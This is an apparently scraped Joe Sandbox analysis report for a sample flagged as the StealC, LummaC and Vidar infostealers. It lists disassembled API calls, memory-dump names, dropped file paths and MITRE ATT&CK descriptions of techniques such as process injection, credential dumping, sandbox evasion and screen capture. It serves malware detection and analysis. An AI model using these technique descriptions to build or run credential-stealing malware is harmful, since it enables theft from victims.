free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6C14B127,?,?,?,?,?,?,?,?), ref: 6C14B74D

Memory Dump Source

Source File: 00000003.00000002.2252137542.000000006C0F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C0F0000, based on PE: true

Associated: 00000003.00000002.2252119719.000000006C0F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2252893146.000000006C16D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253065228.000000006C17E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253109506.000000006C182000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c0f0000_RegAsm.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 9076a3e00086ffa6cfa36b94bf51b6cc226657454ffbafdf287f8f87a90a4b67
Instruction ID: 35a3d6ef8bdb3cf7a70cf87d48e16157d920138b7f88ab7f2ca611478c245a37
Opcode Fuzzy Hash: 9076a3e00086ffa6cfa36b94bf51b6cc226657454ffbafdf287f8f87a90a4b67
Instruction Fuzzy Hash: DA511FB1A01A168FDB14CF18C99076EB7B5FF84306F46C52DC90AABB40DB34E805CBA1

Function 6C15B580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6C100A4D), ref: 6C15B5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6C100A4D), ref: 6C15B623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6C100A4D), ref: 6C15B66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6C100A4D), ref: 6C15B67F

Memory Dump Source

Source File: 00000003.00000002.2252137542.000000006C0F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C0F0000, based on PE: true

Associated: 00000003.00000002.2252119719.000000006C0F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2252893146.000000006C16D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253065228.000000006C17E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253109506.000000006C182000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c0f0000_RegAsm.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: 00bb83cbe8b31da71c2efe7b5bfec65410086e0acac0cd0f7070bb4fdee16ded
Instruction ID: b0361f890c12319a168cbd5f8c25ee66d72441bdc3e248d98626ca494cd2275b
Opcode Fuzzy Hash: 00bb83cbe8b31da71c2efe7b5bfec65410086e0acac0cd0f7070bb4fdee16ded
Instruction Fuzzy Hash: 9731F9B1A012268FDB10CF58C85469EB7F5FF81304F568669C816DB341DB31E926CBE1

Function 6C12F5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6C12F611
memcpy.VCRUNTIME140(?,?,?), ref: 6C12F623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6C12F652
memcpy.VCRUNTIME140(?,?,?), ref: 6C12F668

Memory Dump Source

Source File: 00000003.00000002.2252137542.000000006C0F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C0F0000, based on PE: true

Associated: 00000003.00000002.2252119719.000000006C0F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2252893146.000000006C16D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253065228.000000006C17E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253109506.000000006C182000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c0f0000_RegAsm.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: fad5820b73dfd55e4de116afa92259c9ddf41596282c85b6c09b462c8c5abba4
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: 91316F75A00224AFCB14CF1ECCC0E9BB7B5EB84354F18C538FA598BB04D635E9848B90

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Vidar

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AKJDGIEHCAEHIEBFBKKKKFIDBK

C:\ProgramData\BGDAKEHIIDGD\HCBFIJ

C:\ProgramData\BKKKEGIDBGHIDGDHDBFH

C:\ProgramData\DGHIECGCBK.exe

C:\ProgramData\FBFIDBFHDBGI\AAFHII

C:\ProgramData\FBFIDBFHDBGI\AAKKEC

C:\ProgramData\FBFIDBFHDBGI\BAEBGH

C:\ProgramData\FBFIDBFHDBGI\BAEBGH-shm

C:\ProgramData\FBFIDBFHDBGI\CBKJJJ

Windows Analysis Report
file.exe

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre